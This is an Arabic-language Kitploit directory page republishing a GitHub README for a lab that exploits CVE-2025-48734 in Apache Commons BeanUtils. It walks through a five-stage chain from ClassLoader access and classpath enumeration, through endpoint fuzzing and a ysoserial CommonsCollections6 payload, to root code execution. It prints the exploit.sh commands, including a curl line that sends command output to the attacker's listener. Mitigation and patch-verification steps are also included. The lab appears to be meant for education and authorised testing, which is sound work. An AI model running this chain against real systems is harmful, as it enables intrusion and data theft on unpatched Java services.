Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-48734 — CVE-2025-48734 - يؤثر على Apache Commons BeanUtils في الإصدارات السابقة للإصدار 1.11.0 (وفرع 2.x قبل 2.0.0-M2). | Kitploit
أدوات/GitHubGitHub/h3raklez/cve-2025-48734
الاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولاتمختبرات وتدريب عملي
GitHubh3raklez/cve-2025-48734

CVE-2025-48734

CVE-2025-48734 - يؤثر على Apache Commons BeanUtils في الإصدارات السابقة للإصدار 1.11.0 (وفرع 2.x قبل 2.0.0-M2).

عرض المستودع
منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-48734: Apache Commons BeanUtils – تسريب معلومات declaringClass للـ enum وسلسلة RCE

لأغراض البحث الأمني التعليمي والمصرح به فقط.

يوفر هذا المستودع بيئة مختبرية خاضعة للرقابة لإعادة إنتاج ثغرة CVE-2025-48734 في Apache Commons BeanUtils واستكشاف كيف يمكن للمهاجم التصعيد إلى تنفيذ تعليمات برمجية عن بُعد (RCE) في ظل ظروف معينة.


📖 وصف الثغرة

تؤثر CVE-2025-48734 على Apache Commons BeanUtils في الإصدارات الأقدم من 1.11.0 (وفي الفرع 2.x قبل 2.0.0-M2). تكمن المشكلة في PropertyUtilsBean الذي يسمح بالوصول إلى الخاصية declaringClass للـ enums في Java من خلال مسارات متداخلة (مثل enum.declaringClass). ترث جميع الـ enums الطريقة getDeclaringClass() من java.lang.Enum، والتي يعرضها BeanUtils كخاصية قابلة للتنقل.

يمكن للمهاجم الذي يتحكم في مسار الخاصية في استدعاءات getProperty() أو getNestedProperty() أن:

  • يحصل على مرجع إلى ClassLoader الخاص بالتطبيق (عبر enum.declaringClass.classLoader).
  • يسرد جميع ملفات JAR المحملة في وقت التشغيل عن طريق تكرار classLoader.URLs[n].
  • يتصعد إلى RCE إذا كان التطبيق يحتوي على نقطة نهاية لإلغاء التسلسل غير آمن ومكتبة أدوات (gadget library) ضعيفة في مسار الفئات (classpath).

⚠️ هام: الثغرة وحدها لا تمنح RCE مباشرة. إنها توفر الوصول إلى ClassLoader وتمكن من تعداد مسار الفئات، والذي يجب أن يُسلسل مع نقطة نهاية إلغاء تسلسل غير آمنة ومكتبة أدوات ضعيفة لتحقيق تنفيذ التعليمات البرمجية. انظر قسم تحليل الاستغلال التفصيلي.

نقاط CVSS: 8.8 (عالية) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H


🧪 بيئة المختبر

البنية التحتية

يتكون المختبر من مكونين:

  • جهاز افتراضي Debian — يشغل تطبيق Spring Boot المعرض للخطر.
  • جهاز افتراضي Kali — يشغل أدوات الهجوم.

التطبيق المعرض للخطر (Debian)

خدمة Spring Boot تعرض نقاط النهاية التالية:

  • GET /api/property?path=<property-path> — تقرأ خاصية متداخلة باستخدام PropertyUtilsBean.getNestedProperty() دون تنقية. هذه هي نقطة دخول CVE.
  • GET /api/nested-set?path=<path>&value=<value> — تكتب خصائص متداخلة (معرضة أيضًا).
  • POST /api/data/import — تقبل كائنات Java متسلسلة خام (application/octet-stream) وتقوم بإلغاء تسلسلها بدون تحقق. هذا هو ناقل توصيل RCE.

الكائن الهدف هو كائن Order يحتوي على Status enum. وهذا يسمح ببناء السلسلة status.declaringClass.classLoader.

ملاحظة: نقطة النهاية /api/data/import ليست جزءًا من CVE-2025-48734. تم تضمينها لمحاكاة سيناريو واقعي حيث تتعايش نقطة نهاية إلغاء تسلسل ضعيفة مع الثغرة. في تطبيق حقيقي، يظهر هذا النوع من نقاط النهاية في التكاملات القديمة أو واجهات برمجة التطبيقات الداخلية أو الوسيطة (middleware) التي تم تكوينها بشكل خاطئ.

التبعيات الضعيفة

المكتبةالإصدارالدور في السلسلة
commons-beanutils1.9.4نقطة دخول CVE-2025-48734
commons-collections3.2.2سلسلة أدوات إلغاء التسلسل

⚙️ الإعداد السريع

جهاز Debian الافتراضي

root@kitploit:~
chmod +x setup-lab-debian.sh
./setup-lab-debian.sh

يقوم السكريبت بتثبيت التبعيات، وترجمة المشروع، وتسجيله كخدمة systemd، وتشغيله تلقائيًا. يستمع التطبيق على 0.0.0.0:8080.

جهاز Kali الافتراضي

root@kitploit:~
chmod +x kali-lab-tools.sh
./kali-lab-tools.sh <debian_ip> 8080

يقوم السكريبت بتثبيت التبعيات وتنزيل ysoserial.


💀 سلسلة الهجوم الكاملة

يتم أتمتة الاستغلال بالكامل في سكريبت واحد يفرض الترتيب الصحيح للمراحل. كل مرحلة هي شرط مسبق للمرحلة التالية.

root@kitploit:~
cd ~/lab-tools
./exploit.sh <debian_ip> 8080 '<command>'

المرحلة 1 — استطلاع CVE-2025-48734

يختبر السكريبت status.declaringClass و status.declaringClass.classLoader. إذا تم حظر أي منهما، يتوقف السكريبت — التطبيق قد تم تصحيحه ولا يمكن متابعة السلسلة.

root@kitploit:~
GET /api/property?path=status.declaringClass
→ "status": "success", "valueClass": "java.lang.Class"

GET /api/property?path=status.declaringClass.classLoader
→ "status": "success", "valueClass": "org.springframework.boot.loader.LaunchedURLClassLoader"

المرحلة 2 — تعداد مسار الفئات عبر CVE

باستخدام مرجع ClassLoader الذي تم الحصول عليه في المرحلة 1، يقوم السكريبت بتكرار classLoader.URLs[n] لسرد جميع ملفات JAR المحملة والبحث عن Commons Collections 3.x. إذا لم يتم العثور عليها، يتوقف السكريبت — لا تتوفر سلسلة أدوات.

root@kitploit:~
GET /api/property?path=status.declaringClass.classLoader.URLs[0]
→ jar:file:/…/BOOT-INF/classes!/

GET /api/property?path=status.declaringClass.classLoader.URLs[30]
→ jar:file:/…/BOOT-INF/lib/commons-collections-3.2.2.jar!/

المرحلة 3 — اكتشاف نقطة نهاية إلغاء التسلسل

مع تأكيد وجود سلسلة الأدوات، يقوم السكريبت بتشويش (fuzzing) نقاط النهاية الشائعة للاستيراد/المزامنة بإرسال البايتات السحرية لتسلسل Java (0xACED0005) وتحديد نقاط النهاية التي تحاول ObjectInputStream.readObject() من خلال نمط استجابتها. إذا لم يتم العثور على نقطة نهاية، يتوقف السكريبت.

root@kitploit:~
POST /api/data/import (بايتات سحرية)
→ HTTP 200 — تم العثور على نقطة نهاية

المرحلة 4 — توليد الحمولة وتسليمها

يقوم ysoserial بتوليد حمولة CommonsCollections6 (الأكثر قابلية للنقل لـ Java 11+) وإرسالها إلى نقطة النهاية المكتشفة.

root@kitploit:~
POST /api/data/import
Content-Type: application/octet-stream
Body: <حمولة ysoserial CommonsCollections6>

→ {"status": "success", "class": "java.util.HashSet"}

المرحلة 5 — تأكيد RCE

يتم تنفيذ الأمر على الخادم أثناء إلغاء التسلسل، قبل إرجاع الاستجابة. يمكن تسريب المخرجات عن طريق إعادة التوجيه إلى ملف أو عبر استدعاء HTTP:

root@kitploit:~
# الكتابة إلى ملف
./exploit.sh <ip> 8080 'bash -c {id,}>/tmp/out.txt'
# ثم على Debian: cat /tmp/out.txt
# → uid=0(root) gid=0(root) groups=0(root)

# التسريب عبر HTTP (مستمع على Kali)
python3 -m http.server 9000
./exploit.sh <ip> 8080 'curl http://<kali_ip>:9000/$(id)'

🔍 لماذا تعتبر CVE-2025-48734 شرطًا مسبقًا لـ RCE؟

ليست الثغرة ناقلًا مباشرًا لـ RCE — إنها محور الاستطلاع الذي يجعل بقية السلسلة ممكنة:

root@kitploit:~
بدون CVE-2025-48734:
  → لا وصول إلى ClassLoader
  → لا تعداد لمسار الفئات
  → لا طريقة لتأكيد وجود Commons Collections 3.x
  → لا سبب للبحث عن نقطة نهاية لإلغاء التسلسل
  → السلسلة مقطوعة من البداية

مع CVE-2025-48734:
  → ClassLoader مكشوف
  → مسار الفئات الكامل مرئي عبر URLs[n]
  → تم تأكيد وجود Commons Collections 3.x
  → تم اكتشاف نقطة نهاية إلغاء التسلسل عبر التشويش
  → تم تحقيق RCE

الشرائط الثلاثة التي يجب أن تتوافق لتحقيق RCE كاملة:

الشرطهذا المختبرالعالم الحقيقي
BeanUtils < 1.11.0 مع إدخال مسار غير مرشح✅شائع في التطبيقات القديمة
مكتبة أدوات في مسار الفئات (CC 3.x)✅متكرر في Java المؤسسية
نقطة نهاية إلغاء تسلسل غير آمنة

🛡️ التخفيف والتصحيح

إصلاح CVE-2025-48734

قم بترقية Commons BeanUtils:

الأداةالإصدار المعرضالآمن
commons-beanutils:commons-beanutils< 1.11.0>= 1.11.0
org.apache.commons:commons-beanutils2< 2.0.0-M2>= 2.0.0-M2

في pom.xml:

root@kitploit:~
<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.11.0</version>
</dependency>

إصلاح إلغاء التسلسل غير الآمن

تخفيفان متكاملان:

  1. قم بترقية Commons Collections إلى الإصدار 4.x — يزيل سلسلة الأدوات.
  2. أضف ObjectInputFilter — يقيد الفئات التي يمكن إلغاء تسلسلها:
root@kitploit:~
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
    "java.lang.Integer;java.lang.String;!*"
));

التحقق من التصحيح

بعد ترقية BeanUtils إلى 1.11.0، أعد الترجمة وأعد تشغيل الخدمة. قم بتشغيل سكريبت الاستغلال — يجب أن يتوقف في المرحلة 1:

root@kitploit:~
[-] declaringClass bloqueado - aplicacion PARCHEADA. Abortando.

📚 المراجع

  • CVE-2025-48734 على NVD
  • إشعار GitHub GHSA-wxr5-93ph-8wr9
  • تقارير أمان Apache Commons BeanUtils
  • ysoserial

إخلاء مسؤولية

هذه الأداة مقدمة لأغراض تعليمية واختبار أمني مصرح به فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني. المؤلف غير مسؤول عن أي استخدام خاطئ.

تنزيل الأداة
✅
أقل شيوعًا، لكن موجود في التكاملات القديمة / الوسيطة